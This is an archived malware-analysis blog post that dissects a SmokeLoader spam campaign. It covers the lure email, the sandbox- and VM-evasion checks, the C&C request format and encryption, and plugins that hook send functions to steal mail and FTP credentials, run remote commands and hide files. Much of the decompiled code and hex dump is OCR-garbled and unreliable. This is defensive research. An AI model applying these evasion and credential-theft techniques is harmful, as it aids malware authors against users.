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Dissecting SmokeL.oader (or Yulia's sweet ass proposition)
Archived: 2026-04-05 17:44:25 UTC

In mid-August I started receiving some emails from Yulia. She wanted me to take a look at her sweet ass:

I was not sure about it, but after receiving some more emails like this I took a look (I received the last one on the
10th of September). Then I found out that this was the beginning of a SmokeL.oader campaign, I was really

disappointed :( Out of spite, I started analyzing it ;p

These are some of the headers and the message body:

Date: Wed, 13 Aug 2014 12:55:56 -0400
From:  "Yulia" <negligentjsd185@dialectologic.in>
Subject: My new photo

Hi it is Yulia fuck me ass at night. Look at my sweet ass on a photo I wait for you

I don't want to duplicate the information already published about this loader, so you can check the post published

in July by StopMalvertising and what my colleague Michael Sandee said about it in 2012. Since then,

SmokeLoader (known as Dofoil too) has modified the encryption to communicate with the C&C, added some

extra plugins, etc.

After executing the binary you can easily spot that something is happening in your computer because you can see
some strange POST requests to some known URLs. These URLs are extracted from the registry, opening the key
Software\Microsoft\Windows\CurrentVersion\Uninstall and looking at the values of HelpLink and URLInfoAbout

for the installed programs.
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Really, first you see a GET request to http://www.msn.com/, then a “random” number of POST requests with
encoded data sent to familiar sites for you, the malware communication and, finally, a “random” number of POST
requests again. I guess this is just to hide the real communication but sending strange POST requests is not really a

good way to hide it...

It is possible that you don't see any request. If this is the case then you have been detected by our friend ;) The
binary includes an anti-analysis function and you will end up in an endless loop if you are not able to pass all the

checks.

void _ cdecl Anti_Amalysis_Loop{)
1

CHAR =u@; Ff esii

cigned int i3 /) ebuBEs

LPCSTR su2: A edidd

signed int wd; 4 ebuEid

const CHAR ssubZ gf ediEin

unsigned int wS; FF ehuiEi

imt wi; fF ediEin

int wolumelerlalMumber; #F [sprABh] [bp-1Ch]=E3
int vl 2F [speBaRh] [bp-18h]E18
imt wo: 2f [speBdn] [bp-14h]@1@

ull = fAllocateHesary(iu};

GetHoduleFileHamea(f, uB, Bxi@hu);

if { FindString{up, "sample™, 1) t= -1}
InFiniteslesploop{};

GetUolume InFor®mationA{"'C %", @, BB, &oolumeferialbisber, @, B, 0, @);:

if { volumeiSerialHunber == GCDARLED || voluneSerislHumber == @70 khGbE )
InfFiniteSleeploop();

vl = 23

v? = hlacklistedPllsArray;

dn

1
iF { GetModileMandleAfs o) )
InFiniteSleeplLoop{};
LT H
B H

H
while { vl )3

SmokeL oader performs the following checks (some of them are mentioned here):

¢ Checks if the module filename contains “sample”.
¢ Checks if the C: volume serial number is 0xCD1A40 (ThreatExpert) or 0x70144646 (Malwr).
e Checks if the modules “sbiedll” (Sandboxie) and “dbghelp” are loaded.
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e Checks the disk enum key (System\CurrentControlSet\Services\Disk\Enum) looking for:
o gemu
o virtual
o vmware

o xen
e Checks if Autoltv3, CCleaner and WIC are installed looking in the registry
(Software\Microsoft\Windows\CurrentVersion\Uninstall). It seems that this is a fingerprint for Joe

Sandbox.

In order to know if it is being running in a 64-bits operating system it checks the segment register GS:

mov ax, gs
test ax, ax

jz short loc_2934D0
inc ds:is64Bits

Depending on that it will use a different way to inject in explorer.exe and then to create an additional svchost.exe
process. This is well explained in the third step of this AVG blog post talking about ZeuS (one of these techniques
uses the functions FindWindow, GetWindowLongA and SetWindowLongA). It seems that this part of the code was

copy/pasted too...

After these steps, the malware is initialized, setting up the User-Agent (by default, Mozilla/4.0), sending the GET
request to MSN, creating the botid, the mutex, etc. Then is when the fun starts, sending these fake POST requests

and finally communicating with the C&C.

m STECELY EXecut fder{const WOHAN =a1, r Seller)

snid =u2: FF eaxd
int Pequects A ohxb
onst CHAR =surlp
HAHDLE wh= FF pas
char ufz £F [spean] | B pEs
inis1gned b wBg AF [=p+Bh b |32

rEsponsetede = @

sub_ZPIMIC(];

WERSEartupl B2, (L FUSADATA jdssrd_2PARIAY ;
Setlseragent]);

while [ 1)

]
ug = (el =}SendRequest{MEH URL[Q], (int)&oword 298810, (SI1ZE_T =)&ub, B, 0);
iF [ w7 )

1F [ ok 3= 18 )
bl ;

b
FropHemsryluil;
Eleep[&000u} ;

+

Frechemeg(vz);

Createfotidibokid, BeFEL3INAC05;

waprintFalbabTdFinal, “%e%a™, batld, “FFéh;

Createdetexhi{@, &, (LFCETR}botld);

iF { AtIGetLastWind2Errord) == ERBOR_ALAEADY_EEISTS )

]

squest = {inthnllscateHemary(1u) |

weprintFagre ty “Eeleln” . ofFeek_crdGetissdlogin] 8], bokld, parsalirlbDoohles[B]);
rl = 4 i sjbecodeStrisgie{inT «)eRirypiedioresre) ]
SendAegeest la & {51 s}BuT, B, 1};
ExitProcessi@);

1

Install@mdfeteings{a1];

serverindex = 15

v& = CreateThread{®, @0, (LPTHAEAS START AOUTIME)InitMaliciouspctivitgThread, 0, @, (LPOWVOAD)&dword 296004);

return CleseHandle(v5);
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The server URLs are hardcoded in the binary, using some basic XOR operations to encode the data. There are at

least two blocks with the following format:

[XOR_BYTE_KEYJ[BYTE2][BYTE3][BYTE3][SIZE][DATA]

One block could be the main URL and the other the backup URL, but in the samples that I have analyzed both
blocks contain the same URLs. Every 10 minutes a POST request is sent to the SmokeLoader C&C, looking for

new tasks. The request data has this format:

cmd=getload&login=$BOTID&sel=jopal&ver=5.1&bits=0&admin=1&hash=&r=$GARBAGE

e cmd: Command sent to the panel.

e login: botid with format %08X%08X%08X%08X%08X.

o sel: seller id. It is hardcoded in the binary and identifies the user related to the campaign.
e ver: OS version.

e bits: If the OS is 64-bits or not.

e admin: If the malware is running with Admin privileges or not.

e hash: Disk binary hash (in the case it is a persistent version).

e r: Just garbage data. This is the only parameter included in the fake requests mentioned above.

This data is encrypted with a modified version of RC4, resulting in a block like this:

[SIZE][KEY][ENCRYPTED_DATA]

Then a 404 response is received, but containing interesting data. This data is divided in a first block of digits,
terminated with a null byte, and an encrypted block. The block of digits can be easily decoded taking 3-digits
groups and converting them to their corresponding bytes (“214”=0xD6). The first resultant byte is the XOR key to

be used with the rest.

Page 4 of 8



https://eternal-todo.com /blog/smokeloader-analysis-yulia-photo

qo000000 48 54 54 30 2f 31 2e 31 20 34 30 34 20 4e of 74 HTTP/1.1 404 Hot
00000010 20 46 6T 75 6& 64 Od Oa 53 65 T2 76 65 72 3a 20 Found.. Server:
apOoDo2a &e 6T 60 & 7E 2f 31 Je 36 Ze 30 Od Oa 44 61 74 nginxs1. 5.0..Dat
aDOo0030 &5 3a 20 46 72 &9 2c 20 32 32 20 41 73 &7 20 32 e: Fri, 22 Aug 2
00000040 30 31 34 ) 31 34 3a 33 36 3a 35 33 20 47 44 54 014 1453 6153 GNT
0D0000Sa Od Oa 43 6f 6@ 74 65 6@ 74 2d 54 79 7D 65 3a 20 ..Conten t-Type:
aooo0oBd T4 6% TR T4 2f &8 T4 6d 6c Od Oa 43 6F de 74 6% textfhtm 1. Conte
Q0000070 e T4 2d 4c 65 Ge 67 T4 6B 3a M) 36 30 36 35 3T nu-Lengt h: 6O65T
OD0OD0BD Od Da 43 &6f 62 & 65 63 74 69 & 62 3a 20 63 &c ..Conmec tion: cl
ao0000%0 of 72 63 Od Oa 38 2d 50 of 77 &5 72 63 &4 2d 42 ose..X-P owered-B
Q00000A0 T8 3a 20 50 48 50 27 35 2e 34 Je 34 2d 31 34 2b y: PHPSS .d.d-1de
0DOODOBD 64 65 62 37 75 31 30 0d Oa 56 &1 72 79 Ia 20 41 debFuld. Vary: A
Q0000000 &3 63 &5 70 74 2d 45 be 63 &f &4 69 fe &7 Od Oa ccept-En coding..
00000000 0d 0a[3Z 37 34]31 33 33 39 38 37 31 38 39 32 32 . 33 18718022
QDOODOED 39 31 37 30 32 33 36 31 37 30 31 36 35 31 38 35 PITO2IET TOIES1E5
O0000OFD 31 38 31 31 38 39 31 36 35 31 23 37 31 26 34 31 16118916 31371641
00000700 36 3% 31 3R 36 31 37 39 31 36 35 32 33 35 32 33 6HIBEITH 16523523
apoooD11a 31 32 32 38 3F 32 35 37 34 38 32 33 30 32 34 38 12282257 4BII0I4E
aooo0120 32 33 30 32 34 38 32 33 31 31 37 30 32 33 38 31 23024823 11702341
00000730 37 30 31 37 30 32 33 36 31 3T 30 31 36 36 31 3@ VOIT0236 17016618
0D0o0140 36 31 36 33 31 37T 3T 31 30 3T 31 3IE 34 31 33 3T B1EI1TTI V11E413T
anoo01sa 31 36 3% 31 39 31 31 37 32 31 37 39 32 33 3% 32 16M19NT 11782342
Q00007160 32 34 32 33 30 32 32 AT 32 33 30 32 33 30 00 54 JAZIO2ZT
oDOo0170 ec 00 OD &2 f1 ee fO0 03 OO0 0D OD D0 31 00 31 00 ........ ...
Q0000180 31 00 OO 00 00 20 00 00 01 9b 4e 66 de b1 39 28 1.... .. ..
00000190 95 2b 77 5T bF Q1 00 11 00 29 @3 cb T2 48 c3 41 .wm_.... .)...H..
aDOoD1AD &d df BY a5 4b Od BE bf 06 55 5f 64 o4 Te ol Tem.. K... .
ao0001BO b? 18 e7 &4 aa 85 ec 50 d9 f7 4b F6 ab 84 65 dB ... d...P ..
00000700 43 99 b0 db 65 &2 Ta 44 Th D& 91 72 <d 50 84 af (...e..D
0D0oDIDd of 76 Ff ed 51 @8 b4 9¢ 7F 04 35 3 d4 aa bf B9 v..Q... ..5.....
O00001ED  Sd 02 29 3 aT ¢! 52 ba fe 9d cB 75 ef a3 aF 0 1.%.....
Q0000 FD bD 9F 6b 5 52 cd & da 62 d2 96 6a d2 cc b7 53 ..K.R...
0o000200  f7 2c ad Bd fe 47 &0 99 52 cd 97 @1 01 B7 b @3 ... G..
Q0000210 d9 89 37 bc ac 16 a9 fé df cO TF eb 32 1d 74 €8 .7 000 2ot
00000220 41 5T e 5@ 0F 2c cd 70 eb 21 0B 63 dd 52 42 fC A_.%. ,.p ...
00000230 43 10 20 da 65 F8 2c 07 6o o 67 75 €9 70 2d 06 C.9.8.,.
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After decoding the response we obtain something like this:

Smk@| : |socks_rules=127.0.0.1|:||:|hosts_rules=127.0.0.1 localhost|:||:|plugin_size=60500

Depending on the character located in the 4th position (“0” in this case) the loader will perform a different action,
asking for additional binaries to be installed, updating itself, removing itself from the system, etc. The second
block received in the 404 response contains some plugins encrypted with the same modified RC4 algorithm. There

is a 21-byte header and then another 21-byte header per plugin. The plugin header has the following format:

[PLUGIN_SIZE(4)][PLUGIN_TYPE(1)][KEY(16)]

Besides being encrypted, the plugins are also compressed with UPX and all of them are exporting the function

"Work". These are the plugins that I have seen so far:

e AVinfo.dIl: 1t is a Delphi plugin which uses the Windows Management Instrumentation (WMI)_to
obtain the installed Antivirus and Firewall products. If the Antivirus product is not detected that way, it
checks the running processes to find Antivirus processes:

o avp.exe (Kaspersky)
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o ccsvchst.exe (Norton)
o dwservice.exe (DrWeb)
o dwengine.exe (DrWeb)
o avgnt.exe (Avira)

o avguard.exe (Avira)

o malwaredefender.exe (Malware Defender)

After gathering this information, it is reported to the control panel using this format:

“cmd=avinfo&login=%s&info=%s777%s”. The Antivirus and Firewall product names are separated by “777”.

CHAR = cdecl CreateAuFwinFoRegquest()

CHAR =avRequest; ff esi@l

wodd ®u13 JF ecul

int detectedalls JFFf ebxBE1

wiodid gy FF ecxE]

int #installedFirewall; f/ eawi3
whHequest = AllocateMemory(1u) ;

Colnitialize(m);
detecteddl = LookForinstalledAUFivremall(®, vi);
if { lstrlenfAfdetectedat) € T )
detectedil = LoakForfUProcesses));
installedFirewall = LookForInstalledAUFirewall{lu, wv3);

wsprintFAfavkequest, “%s¥sT7TEs™, avlrlFarams, detectedal, installedFirewall);
Cobninitialize();
return avHequest;

3 |

e FTPGrab.dll: This module injects code in every process in execution, decoding another plugin called
Grabber.dll. This new plugin will hook the functions “send” and “WSASend” to collect users/passwords for
the FTP, POP3, SMTP and IMAP protocols. Then it will include this information in the request
“cmd=ftpgrab&login=%s&grab="" and adding the following lines:

o pop3://%s:%s@%s:%d
o ftp://%s:%s@%s:%d

o imap://%s:%s@%s:%d
o smtp://%s:%s@%s:%d
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winid cdecl nareturn HookSendFunctions Thicead| )
i

int wbr FF eawEd

int sendfddress; ff eaxE]

int w2; £Ff ecxii

int wid; £F eadi?

int uks £ eadEs

int wsafendhddress: FFf eaw@S

int why Ff ecxEs

int wrs FF eaw®h

Suspendfesume Thread{1);
vl = GetHoduleHandled " ws? 32 .d117);

sendiddress = BetProcAddress{vi, “send™);
1F [ tsenddddress )
1
vl = I.uaIJLihraryM"'u-s 2_32.d11");
sendAddress = GetProchddress(vi, “send™);
iF [ sendaddress )

HookFunction{v?, off_BEIWC, sendaddress, FakeSend, of F_LB3OAC);
vl = GetHoduleHandleff™wsZ_32.d11"};
wsasendfddress = GetProcAddress{vy, “WSASend");
if [ twsaSendAddress )

U7 = LoadLibraryA{“us? 22 .d11");
wsasendfaddress = GetProchddress{u?, "WSASend™);
H
iF { wsaSendAddress )
HookFunction{vi, off_WB38M8, wsaSendAddress, FakeWSASend, off_SB3818);
byte RB4OZER = 0
byte BRLOPY = @:
SuspendResumeThread (@) 3
ExitThread(d) ;

e shell.dll: If the server response includes the “shell_rules” parameter, then the command specified is
executed and the result is sent to the panel, encoded with Base64. The request used for this will be
“cmd=getshell&login=%s&shell=$RESULT&run=ok”.

These plugins are stored on disk encrypted with the same modified RC4 algorithm, using the botid as key. Besides
these, there is another plugin, called Rootkit.dll, used to hook the functions ZwQuerySystemInformation,

ZwQueryDirectoryFile and ZwEnumerateValueKey to try to hide the malware process, files and registry keys.

vold _ stdcall _ noreturn StartAddressi{int ai)
1

HHODULE wi; ff eaxdEl

FARPROC w2 ff eaxdEl

HHODULE w3 fF eadl

FARPROC whi fF eawbd

HHODULE wS; ff eax@s

FARPROC wé; ff eaxBEs

SuspendResumaThread (1) ;
ul = GetModuleHandleA{ " ntdll™});
v? = GetProcAddress{ui, “ZufuerysystemInFormation™};
iF [ vz )
HookFunction{v?, FakeQuerySystemInformation, ofF_4LE2048);
uld = GetModuleHandleA( " ntdll™);
uh = GetProcAddress{ul, “ZufueryDirectoryFile™);
iF [ wh )
HookFunction{uh, FakeQueryDlrectoryFlle, of F_BO2@14);
uh = GetModuleHandleA{ " ntdll™);
ufi = GetProcAddress{us, “ZuEnumeratelalueley');
iF [ wh )
HookFunction{ui, FakeEnumerateUalueMey, OriginalEnumerateUalueley};
SuspendResumeThread {0} ;
ExitThread{D);

These are some of the samples used to write this blog post:
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4fe5f69calab813e8294790041262ccd
db3745ec149818567de5d2dfc3477d25
adb7e8bf966ee5c6e2c731e9047968d4
e1ee0990ffddda3df13c1206abbb9adh
86cal12376ab5e27534029d23b2952a28

The C&C URLs related to these binaries are:

hxxp://joppwer.in/
hxxp://offnamerty.ru/
hxxp://jtp888888.ru/

Source: https://eternal-todo.com/blog/smokeloader-analysis-yulia-photo
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